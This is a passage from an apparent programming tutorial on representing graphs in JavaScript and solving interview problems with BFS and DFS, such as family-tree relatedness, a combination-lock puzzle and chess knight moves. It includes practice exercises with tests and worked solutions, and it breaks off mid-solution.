<p><strong>Graph as a class:</strong></p>
<ul>
<li>Very useful for creating libraries or reusable algorithms (find a path, are connected, etc.).</li>
<li><abbr title="Object Oriented Programming">OOP</abbr> Style.</li>
<li>Might be time consuming to implement during coding interviews.</li>
</ul>
<h3 id="Graph-as-Map-Array"><a href="#Graph-as-Map-Array" class="headerlink" title="Graph as Map + Array"></a>Graph as Map + Array</h3><p>Other way to represent graph is like an Map + Array:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> graph = &#123;</span><br><span class="line">  a: [<span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>],</span><br><span class="line">  b: [<span class="string">&#x27;c&#x27;</span>],</span><br><span class="line">  c: [],</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>ES6+ Map:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> graph = <span class="keyword">new</span> <span class="built_in">Map</span>([</span><br><span class="line">  [<span class="string">&#x27;a&#x27;</span>, [<span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>]],</span><br><span class="line">  [<span class="string">&#x27;b&#x27;</span>, [<span class="string">&#x27;c&#x27;</span>]],</span><br><span class="line">  [<span class="string">&#x27;c&#x27;</span>, []],</span><br><span class="line">]);</span><br></pre></td></tr></table></figure>

<p><strong>Graph as a HashMap:</strong></p>
<ul>
<li>Very quick to implement</li>
<li>Might not be reusable since it’s tailor to the specific problem in hand.</li>
<li>Build the entire graph before solving the problem.</li>
</ul>
<h3 id="Implicit-Graph"><a href="#Implicit-Graph" class="headerlink" title="Implicit Graph"></a>Implicit Graph</h3><p>Some times you don’t have to build a graph upfront. You can calculate adjacent nodes as you go.</p>
<p>For instance, this a template for finding a node in an implicit graph using BFS:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">bfs</span>(<span class="params">target</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> queue = [[<span class="number">0</span>, <span class="number">0</span>]]; <span class="comment">// 1. Initialize queue with Node and current distance 0</span></span><br><span class="line">  <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>(<span class="number">0</span>); <span class="comment">// 2. Initialize set</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> [current, distance] <span class="keyword">of</span> queue) &#123; <span class="comment">// 3. Loop until the queue is empty</span></span><br><span class="line">    <span class="keyword">if</span> (current === target) <span class="keyword">return</span> distance; <span class="comment">// 4. Check dequeued is solution</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> [neighbor, currDist] <span class="keyword">of</span> getNeighbors(node)) &#123; <span class="comment">// 5. Get next possible moves (neighbor nodes)</span></span><br><span class="line">      <span class="keyword">if</span> (seen.has(neighbor) <span class="keyword">continue</span>; <span class="comment">// 6. Skip seen nodes</span></span><br><span class="line">      seen.add(neighbor); <span class="comment">// 7. Mark next node as seen.</span></span><br><span class="line">      queue.push([neighbor, currDist + <span class="number">1</span>]); <span class="comment">// 8. Add neighbor to queue and increase the distance.</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">-1</span>; <span class="comment">// 9. If you didn&#x27;t find the answer, return something like -1/null/undefined.</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getNeighbors</span>(<span class="params">node</span>) </span>&#123;</span><br><span class="line">  <span class="comment">// <span class="doctag">TODO:</span> implement based on the problem.</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>Graph on the go</strong>:</p>
<ul>
<li>Quick to implement</li>
<li>Might not be reusable since it’s tailor to the specific problem in hand.</li>
<li>It doesn’t need to build the complete graph up-front; it will discover adjacent nodes as it goes.</li>
</ul>
<p>Let’s do some examples of each one so we can drive these concepts home!</p>
<h2 id="Solving-graph-problems"><a href="#Solving-graph-problems" class="headerlink" title="Solving graph problems"></a>Solving graph problems</h2><p>Let’s see how you can use the afore mention implementations to solve real interview questions.</p>
<h3 id="Explicit-Graph-Structure-Map-Array"><a href="#Explicit-Graph-Structure-Map-Array" class="headerlink" title="Explicit Graph Structure (Map + Array)"></a>Explicit Graph Structure (Map + Array)</h3><p>Let’s say you are working for a genealogy company, and you need to find if two people are related given a family tree (graph).</p>
<p>In this case, we can translate the family tree into a graph, where the nodes are the people, and the edges are their relationships (Father/Mother, Son/Daugther, etc.)</p>
<p>Let’s take a family for instance and represent it as a graph:</p>
<details>
  <summary>The Simpson Family Tree Example</summary>

<div class="content">

<img src="/images/the-simpsons-family-tree.png" class="" title="The Simpsons Family Tree">

<p>This might be something like this:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// people:</span></span><br><span class="line">nodes = [<span class="string">&quot;Bart&quot;</span>, <span class="string">&quot;Homer&quot;</span>, <span class="string">&quot;Marge&quot;</span>, <span class="string">&quot;Lisa&quot;</span>, <span class="string">&quot;Moe&quot;</span>, <span class="string">&quot;Herb&quot;</span>, <span class="string">&quot;Abraham&quot;</span>, <span class="string">&quot;Mona&quot;</span>, <span class="string">&quot;Selma&quot;</span>, <span class="string">&quot;Clancy&quot;</span>, <span class="string">&quot;Jackie&quot;</span>, <span class="string">&quot;Bob&quot;</span>];</span><br><span class="line"><span class="comment">// relationships:</span></span><br><span class="line">edges = [[<span class="string">&quot;Bart&quot;</span>,<span class="string">&quot;Homer&quot;</span>],[<span class="string">&quot;Bart&quot;</span>,<span class="string">&quot;Marge&quot;</span>],[<span class="string">&quot;Lisa&quot;</span>,<span class="string">&quot;Homer&quot;</span>],[<span class="string">&quot;Lisa&quot;</span>,<span class="string">&quot;Marge&quot;</span>],[<span class="string">&quot;Herb&quot;</span>,<span class="string">&quot;Abraham&quot;</span>],[<span class="string">&quot;Herb&quot;</span>,<span class="string">&quot;Mona&quot;</span>],[<span class="string">&quot;Homer&quot;</span>,<span class="string">&quot;Abraham&quot;</span>],[<span class="string">&quot;Homer&quot;</span>,<span class="string">&quot;Mona&quot;</span>],[<span class="string">&quot;Selma&quot;</span>,<span class="string">&quot;Clancy&quot;</span>],[<span class="string">&quot;Selma&quot;</span>,<span class="string">&quot;Jackie&quot;</span>],[<span class="string">&quot;Marge&quot;</span>,<span class="string">&quot;Clancy&quot;</span>],[<span class="string">&quot;Marge&quot;</span>,<span class="string">&quot;Jackie&quot;</span>],[<span class="string">&quot;Bob&quot;</span>,<span class="string">&quot;Herb&quot;</span>]];</span><br></pre></td></tr></table></figure>

</div>
</details>

<p><strong>Interview Question</strong>: Given a graph (nodes and edges) and queries return for each query element <code>true</code> if they are related or false if they are not.</p>
<p>Example 1:</p>
<ul>
<li><p>Input:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">nodes &#x3D; [&quot;Bart&quot;, &quot;Homer&quot;, &quot;Moe&quot;]</span><br><span class="line">edges &#x3D; [[&quot;Bart&quot;,&quot;Homer&quot;]]</span><br><span class="line">queries &#x3D; [[&quot;Bart&quot;,&quot;Homer&quot;], [&quot;Bart&quot;,&quot;Moe&quot;]];</span><br></pre></td></tr></table></figure>
</li>
<li><p>Output:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[true, false]</span><br></pre></td></tr></table></figure>
<p>Bart and Homer are related, so the first element is <code>true</code>;
Bart and Moe are NOT related, so the 2nd element is <code>false</code>.</p>
</li>
<li><p>Function signature:</p>
</li>
</ul>
<figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">findRelated</span>(<span class="params">nodes: <span class="built_in">any</span>[], edges: [<span class="built_in">any</span>, <span class="built_in">any</span>][], queries: [<span class="built_in">any</span>, <span class="built_in">any</span>][]</span>): <span class="title">boolean</span>[] </span>&#123;</span><br><span class="line">  <span class="comment">// <span class="doctag">TODO:</span> Implement</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Here are some ideas on how to solve this problem:</p>
<ul>
<li>We need to traverse the graph from a starting point to a destination.</li>
<li>If there’s a path, the two people are related (e.g., Home and Bart)</li>
<li>If no path is found, then the two people are NOT related (e.g., Bart and Moe).</li>
<li>We can solve this problem by using DFS or BFS.</li>
</ul>
<p>Do you want to give it a try before looking at the solution? When you are ready, hit <code>run</code>!</p>
<pre class="runkit">
function findRelated(nodes, edges, queries) {
  // Write your code here
}

// or here ;)

// ---------------------
// ------- Tests -------
// ---------------------
const assert = require('assert');
let nodes, edges, queries, expected;

// TEST 1
nodes = ["Bart", "Homer", "Marge", "Lisa", "Moe"]; // people
edges = [["Bart","Homer"],["Bart","Marge"],["Lisa","Homer"],["Lisa","Marge"]]; // relationships
queries = [['Bart', 'Lisa'], ['Homer', 'Moe']]; // questions
expected = [true, false];
assert.deepEqual(findRelated(nodes, edges, queries), expected);

// TEST 2
nodes = [1,2,3,4,5];
edges = [[1,2],[1,3],[2,5]];
queries = [[1, 1], [1, 2], [1, 4], [1, 5]];
expected = [true, true, false, true];
assert.deepEqual(findRelated(nodes, edges, queries), expected);

// TEST 3
nodes = ["Bart", "Homer", "Marge", "Lisa", "Moe", "Herb", "Abraham", "Mona", "Selma", "Clancy", "Jackie", "Bob"];
edges = [["Bart","Homer"],["Bart","Marge"],["Lisa","Homer"],["Lisa","Marge"],["Herb","Abraham"],["Herb","Mona"],["Homer","Abraham"],["Homer","Mona"],["Selma","Clancy"],["Selma","Jackie"],["Marge","Clancy"],["Marge","Jackie"],["Bob","Herb"]];
queries = [['Bart', 'Lisa'], ['Homer', 'Moe'], ['Lisa', 'Bob'], ['Bart', 'Selma'], ['Moe', 'Lisa']];
expected = [true, false, true, true, false];
assert.deepEqual(findRelated(nodes, edges, queries), expected);

console.log('All tests passed! 👏 🎂');
</pre>

<p>Here’s my solution to this problem…</p>
<details>
  <summary>Solution and Explanation for find related</summary>
  <div class="content">

<p>The very first thing that we need to do is to build the graph.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">findRelated</span>(<span class="params">nodes, edges, queries</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> graph = nodes.reduce(<span class="function">(<span class="params">map, node</span>) =&gt;</span> map.set(node, []), <span class="keyword">new</span> <span class="built_in">Map</span>());</span><br><span class="line">  edges.forEach(<span class="function">(<span class="params">[u, v]</span>) =&gt;</span> &#123;</span><br><span class="line">    graph.get(u).push(v);</span><br><span class="line">    graph.get(v).push(u); <span class="comment">// undirected graph (2-ways)</span></span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> queries.map(<span class="function">(<span class="params">[u, v]</span>) =&gt;</span> isRelated(graph, u, v));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>How does it work?</p>
<ul>
<li>The first function, <code>findRelated</code> builds the graph. We are using an undirected graph, so we have to add the relationship both ways</li>
<li>After creating the graph, we iterate over each query and use the helper function <code>isRelated</code> to test if connected.</li>
</ul>
<p>The <code>isRelated</code> function can be implemented as a BFS or DFS.</p>
<p>Let’s see BFS first:</p>
<ul>
<li>The helper function <code>isRelated</code>, have a start and destination node. We use a <code>Queue</code> to navigate the graph.</li>
<li>We also need a <code>Set</code> to keep track of the visited nodes, otherwise, we can fall into an infinite loop.</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isRelated</span> (<span class="params">graph, start, target</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">const</span> queue = [start];</span><br><span class="line">    <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>([start]);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> node <span class="keyword">of</span> queue) &#123;</span><br><span class="line">        <span class="keyword">if</span> (node === target) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        graph.get(node).forEach(<span class="function"><span class="params">adj</span> =&gt;</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (seen.has(adj)) <span class="keyword">return</span>;</span><br><span class="line">            seen.add(adj);</span><br><span class="line">            queue.push(adj);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Using DFS:</p>
<ul>
<li>Usually, DFS is implemented using a Stack, we are using a recursive call which makes use the call stack.</li>
<li>Notice that we also keep track of the <code>seen</code> nodes using a set.</li>
</ul>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isRelated</span> (<span class="params">graph, node, target, seen = new Set()</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (node === target) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">if</span> (seen.has(node)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    seen.add(node);</span><br><span class="line">    <span class="keyword">return</span> graph.get(node).some(<span class="function"><span class="params">adj</span> =&gt;</span> isRelated(graph, adj, target, seen));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

</div>
</details>

<p>As you can see, we can either use a BFS or DFS approach to solve the problem. Not all questions are like that. In the next example, you will see that one of them leads to a more optimal solution than the other.</p>
<h3 id="Implicit-Graph-Build-and-Traverse-as-you-go"><a href="#Implicit-Graph-Build-and-Traverse-as-you-go" class="headerlink" title="Implicit Graph: Build and Traverse as you go"></a>Implicit Graph: Build and Traverse as you go</h3><p>Let’s solve this example of a combination lock.</p>
<blockquote>

<img src="/images/padlock.png" alt="Padlock Problem" style="float:right;">

<p>You have a combination lock. It has 4 wheels that go from <code>0</code> to <code>9</code>. Your job is to <strong>find the minimum amount of wheel turns to get to a target combination</strong>. The starting point is always <code>0000</code>. However, there are several combinations that you have to avoid: deadends. If you get into a dead-end, the wheels will not turn anymore. If the target combination is impossible to reach return <code>-1</code>, otherwise return the minimum number of wheel turns.</p>
</blockquote>

<div style="clear: both;"></div>

<p>Examples 1:</p>
<ul>
<li><strong>Input</strong>: <em>deadends</em> = [“8888”], <em>target</em> = “0109”</li>
<li><strong>Output</strong>: <code>2</code></li>
<li><strong>Explanation</strong>: <code>0000 -&gt; 0009 -&gt; 0109</code></li>
</ul>
<p>Examples 2:</p>
<ul>
<li><strong>Input</strong>: <em>deadends</em> = [“8887”,”8889”,”8878”,”8898”,”8788”,”8988”,”7888”,”9888”], <em>target</em> = “8888”</li>
<li><strong>Output</strong>: <code>-1</code></li>
<li><strong>Explanation</strong>: We can’t reach without crossing a deadend.</li>
</ul>
<p>Do you want to give it a try?</p>
<pre class="runkit">
function openLock(deadends, target) {
  // your code goes here!
}

// ---------------------
// ------- Tests -------
// ---------------------
const assert = require('assert');
let deadends, target;

deadends = ['8888'];
target = '0109';
assert.deepEqual(openLock(deadends, target), 2, 'Test #1');

deadends = ['8887','8889','8878','8898','8788','8988','7888']
target = '8888';
assert.deepEqual(openLock(deadends, target), 8, 'Test #2');

console.log('All tests passed! 👏 🥦');
</pre>

<details>
  <summary>Solution for open the lock</summary>

<div class="content">

<p>We could solve the problem using DFS or BFS. However, BFS is much more performant… why?
We are looking for a minimum amount of turns. As soon as BFS found the target, that is guaranteed to be the minimum. However, that’s not the case for DFS. It goes deep and might found a solution quicker, but it might not be the minimum amount of turns. With DFS, we have to traverse ALL possibilities to see which path to the target is the shortest.</p>
<p>Here’s the BFS solution</p>
<figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">openLock</span>(<span class="params">deadends, target</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> stop = <span class="keyword">new</span> <span class="built_in">Set</span>(deadends);</span><br><span class="line">  <span class="keyword">const</span> queue = [[<span class="string">&#x27;0000&#x27;</span>, <span class="number">0</span>]];</span><br><span class="line">  <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>([<span class="string">&#x27;0000&#x27;</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> [current, turns] <span class="keyword">of</span> queue) &#123;</span><br><span class="line">    <span class="keyword">if</span> (stop.has(current)) <span class="keyword">continue</span>;</span><br><span class="line">    <span class="keyword">if</span> (current === target) <span class="keyword">return</span> turns;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> next <span class="keyword">of</span> getNextTurns(current)) &#123;</span><br><span class="line">      <span class="keyword">if</span> (seen.has(next)) <span class="keyword">continue</span>;</span><br><span class="line">      seen.add(next);</span><br><span class="line">      queue.push([next, turns + <span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getNextTurns</span> (<span class="params">str</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Array</span>.from(str).reduce(<span class="function">(<span class="params">arr, char, i</span>) =&gt;</span> arr.concat(</span><br><span class="line">      <span class="string">`<span class="subst">$&#123; str.slice(<span class="number">0</span>, i) &#125;</span><span class="subst">$&#123; (<span class="built_in">Number</span>(char) + <span class="number">1</span>) % <span class="number">10</span> &#125;</span><span class="subst">$&#123; str.slice(i+<span class="number">1</span>) &#125;</span>`</span>,</span><br><span class="line">      <span class="string">`<span class="subst">$&#123; str.slice(<span class="number">0</span>, i) &#125;</span><span class="subst">$&#123; (<span class="built_in">Number</span>(char) + <span class="number">9</span>) % <span class="number">10</span> &#125;</span><span class="subst">$&#123; str.slice(i+<span class="number">1</span>) &#125;</span>`</span>,</span><br><span class="line">    ), []);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We will generate around 8 combinations on each step, and these 8 combinations create 7 more each one (we skip seen nodes) and so on.</p>
<img src="/images/padlock-combinaitons-graph.svg" class="" title="combinations graph">

<p>If you want to see more levels of combination take a look here:
<a href="/images/padlock-combinaitons-graph-2.svg" target="_new">combinations graph up to 3 levels</a></p>
</div>
</details>

<h2 id="Breadth-First-Search-BFS-vs-Depth-First-Search-DFS"><a href="#Breadth-First-Search-BFS-vs-Depth-First-Search-DFS" class="headerlink" title="Breadth-First-Search (BFS) vs Depth-First-Search (DFS)"></a>Breadth-First-Search (BFS) vs Depth-First-Search (DFS)</h2><p>The most common graph traversal algorithms are breadth-first-search (BFS) and depth-first-search (DFS). BFS covers all cases adjacent paths nearby and then expand, while DFS goes deep on one way and only comes back when there’s nowhere else to go.</p>
<table>
  <tr>
    <td>

<p><img src="https://upload.wikimedia.org/wikipedia/commons/5/5d/Breadth-First-Search-Algorithm.gif" alt="https://upload.wikimedia.org/wikipedia/commons/5/5d/Breadth-First-Search-Algorithm.gif">
    </td>
    <td>
<img src="https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif" alt="https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif">
    </td>
  </tr>
  <tr>
    <td>
Breadth-First-Search (BFS)
    </td>
    <td>
Depth-First-Search (DFS)
    </td>
  </tr></p>
</table>


<p>In the pictures above, you can see that BFS goes level by level, while DFS goes as deep as it can in a branch.</p>
<p>In general, you want to use DFS when…</p>
<ul>
<li>The solutions are far away from the starting point.</li>
<li>If the graph/tree/maze might be wide but not too deep (e.g., graph is finite).</li>
<li>There are too many adjacent nodes to be practical for BFS.</li>
<li>Usually used for game simulations where the number of possible moves is massive. DFS make a decision, then explore all paths through this decision. And if this decision leads to a win situation, we stop.</li>
<li><strong>Real-world applications of DFS</strong>: topological sorting (use for scheduling a sequence of jobs or tasks based on their dependencies), spreadsheets, build systems, data serialization, etc.</li>
</ul>
<p>You want to use BFS when…</p>
<ul>
<li>The solution is near to the starting point.</li>
<li>If the graph/tree/maze is extremely deep but not too wide (e.g., the graph might be infinite).</li>
<li>The number of adjacent nodes is limited. (e.g., for our case, each cell has 8 next possible moves)</li>
<li>Usually used for finding the shortest path between two nodes.</li>
<li><strong>Real-world applications of BFS</strong>: anything that can benefit from finding the shortest path, such as GPS Navigation systems (Google Maps), Peer to peer (P2P) applications such as the torrent clients. Other usages are web crawlers, social networks, etc.</li>
</ul>
<p>Since the board is infinite, DFS won’t work for us. If it chooses a path that doesn’t contain the target location, it will never find an end. So, BFS is the right approach here!</p>
<h2 id="Steps-to-solve-algorithmic-questions-on-interviews"><a href="#Steps-to-solve-algorithmic-questions-on-interviews" class="headerlink" title="Steps to solve algorithmic questions on interviews"></a>Steps to solve algorithmic questions on interviews</h2><p>In these section, we are going to practice some real interview questions. First, we are going to introduce 10 steps to avoid you getting in stuck in an interview. Finally, we are going to cover some examples. The only way to get better at it is through Practice, Practice, and more Practice.</p>
<h3 id="Ten-steps-to-avoid-getting-stuck"><a href="#Ten-steps-to-avoid-getting-stuck" class="headerlink" title="Ten steps to avoid getting stuck"></a>Ten steps to avoid getting stuck</h3><ol>
<li>👂 Listen/read carefully and repeat the question out loud (in your own words).</li>
<li>🗣  Ask clarifying questions to help understand the problem better.</li>
<li>🎨  Create 2-3 examples and draw diagrams about the problem.</li>
<li>💪 Find a brute force solution as soon as possible (how would you do it manually). But don’t implement it yet!</li>
<li>🎯  Determine what’s the best time complexity, theoretically. E.g. <code>O(n)</code> or <code>O(m * n)</code>, etc.</li>
<li>🧠  Brainstorm different approaches (Think out loud). State the runtime (Big O) of each one.</li>
<li>📝 Let’s CODE: Implement the best approach you have so far (or the brute force, better something than nothing) while following a <strong>simple and short</strong> example. You can write the code while testing multiple cases at once to save time.</li>
<li>🏃‍♂️ DRY RUN: Test your implementation <strong>on your mind.</strong> Imagine you are the compiler, and you have to tell the output of EACH LINE. Make fixes as needed. (For some companies, the code execution is disabled (Facebook), and others use a Google Doc (Google), so it’s vital to learn to test the code in your mind.)</li>
<li>💻  RUN YOUR CODE if allowed</li>
<li>🐛  Fix issues as they emerge and repeat previews steps if necessary.</li>
</ol>
<h3 id="Interview-Questions-for-Practice"><a href="#Interview-Questions-for-Practice" class="headerlink" title="Interview Questions for Practice"></a>Interview Questions for Practice</h3><p>Here are some exercises for you to practice the ten steps and the solutions to some.
These steps are especially necessary when you are not given the function signature nor examples.
Sometimes, you have to figure them out by asking questions.</p>
<p>Let’s do a simulation!</p>
<h4 id="Chess-Knight-Problem-♞"><a href="#Chess-Knight-Problem-♞" class="headerlink" title="Chess Knight Problem ♞"></a>Chess Knight Problem ♞</h4><blockquote>
<p>Given an <strong>infinite</strong> chessboard, find out how many moves does the knight needs to reach a given square on the board.</p>
</blockquote>
<p><strong>Asking Clarifying questions</strong></p>
<p>Once you understand the statement, the first thing you need to do before doing any code is to <strong>ask clarifying questions</strong>. Try to come up with some questions you would ask before looking at my clarifying questions below.</p>
<details>
  <summary>Examples of clarifying questions...</summary>

<dl>
  <dt>What do you mean by infinite board?</dt>
  <dd>A regular chess board it's an 8x8 grid but for this questions we have a infinite board (very big limits 1M+ x 1M+). This means the solution better be efficient.</dd>
</dl>

<dl>
  <dt>How do we know the initial position of the knight?</dt>
  <dd>Let's say it starts in the coordinates 0,0.</dd>
</dl>

<dl>
  <dt>How does the knight moves again? Is like an `L`, right?</dt>
  <dd>Yes, It may move two squares vertically and one square horizontally, or two squares horizontally and one square vertically (with both forming the shape of an L)</dd>
</dl>

<dl>
  <dt>Given enough movements does the knight reach every point in the board?</dt>
  <dd>

<p>Yes
<img src="https://upload.wikimedia.org/wikipedia/commons/c/ca/Knights-Tour-Animation.gif" alt="https://upload.wikimedia.org/wikipedia/commons/c/ca/Knights-Tour-Animation.gif"></p>
  </dd>
</dl>

<dl>
  <dt>How's the target location given? As an x, y coordinates?</dt>
  <dd>Yes, coordinates relative to the starting point.</dd>
</dl>

</details>


<p>After you ask some clarifying questions, the next step is to come up with some examples. Before you write any code, try to identify edge cases and possible scalability problems. Examples are critical to your success! Let’s draw a board with some possible target positions.</p>
<img src="/images/infinite-chessboard.png" class="" title="infinite chessboard">


<p>The first case, T1, is in the best-case scenario. It’s just one hop away; the second case is compelling because you have to move away from the starting point and then come back. The other two cases are just far away destinations.</p>
<p>Now that you have some examples, it’s time to brainstorm approaches! No coding yet!</p>
<p>If you are familiar with graphs, you might notice that this can be seen as a graph problem. The starting position can be seen as a node, and then each of the next 8 locations are the adjacent nodes.</p>
<img src="/images/chessboard-knight-next-moves.png" class="" title="chessboard knight next moves">


<p>So basically, once we have a starting point and adjacent nodes that we can visit, this can be solved using a graph traversal algorithm.</p>
<p><strong>Solution</strong></p>
<p>First, give it a try yourself before looking at my answer, but don’t spin your wheels for too long.  If you haven’t get it working after 35 minutes, take a peek at the answer. Then try again on your own.</p>
<pre class="runkit">
/**
 * Given an infinite chessboard, find out how many moves does
 * the knight needs to reach a given square coordinate on the board.
 *
 * @param {Number} dx - Destination x coordinate
 * @param {Number} dy - Destination y coordinate
 * @returns {Number} minimum number of moves to reach target
 */
function knightMoves(dx, dy) {
    // write your awesome code here!
}

// ---------------------
// ------- Tests -------
// ---------------------
const assert = require('assert');

assert.equal(knightMoves(0, 0), 0, 'finds t0');
assert.equal(knightMoves(1, 2), 1, 'finds t1');
assert.equal(knightMoves(0, 1), 3, 'finds t2');
assert.equal(knightMoves(6, -6), 4, 'finds t3');
assert.equal(knightMoves(0, 7), 5, 'finds t4');
assert.equal(knightMoves(170, 123), 99, 'finds far far away galaxies');

console.log('Congrats! 👏👏👏  All tests passed! 🎂');
</pre>

<details>
  <summary>My answer (click to expand)</summary>


<p>Here’s an interview friendly solution:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">knightMoves</span>(<span class="params">dx, dy</span>) </span>&#123; <span class="comment">// destination x and y</span></span><br><span class="line">  <span class="keyword">const</span> queue = [[[<span class="number">0</span>, <span class="number">0</span>], <span class="number">0</span>]];</span><br><span class="line">  <span class="keyword">const</span> seen = <span class="keyword">new</span> <span class="built_in">Set</span>([<span class="number">0</span>, <span class="number">0</span>].toString());</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> [[x, y], moves] <span class="keyword">of</span> queue) &#123; <span class="comment">// current x and y</span></span><br><span class="line">    <span class="keyword">if</span> (x === dx &amp;&amp; y === dy) <span class="keyword">return</span> moves;</span><br><span class="line">    <span class="keyword">const</span> next = [<span class="number">1</span>, <span class="number">-1</span>].map(<span class="function">(<span class="params">i</span>) =&gt;</span> [<span class="number">2</span>, <span class="number">-2</span>].map(<span class="function">(<span class="params">j</span>) =&gt;</span> [[x + i, y + j], [x + j, y + i]])).flat(<span class="number">2</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span 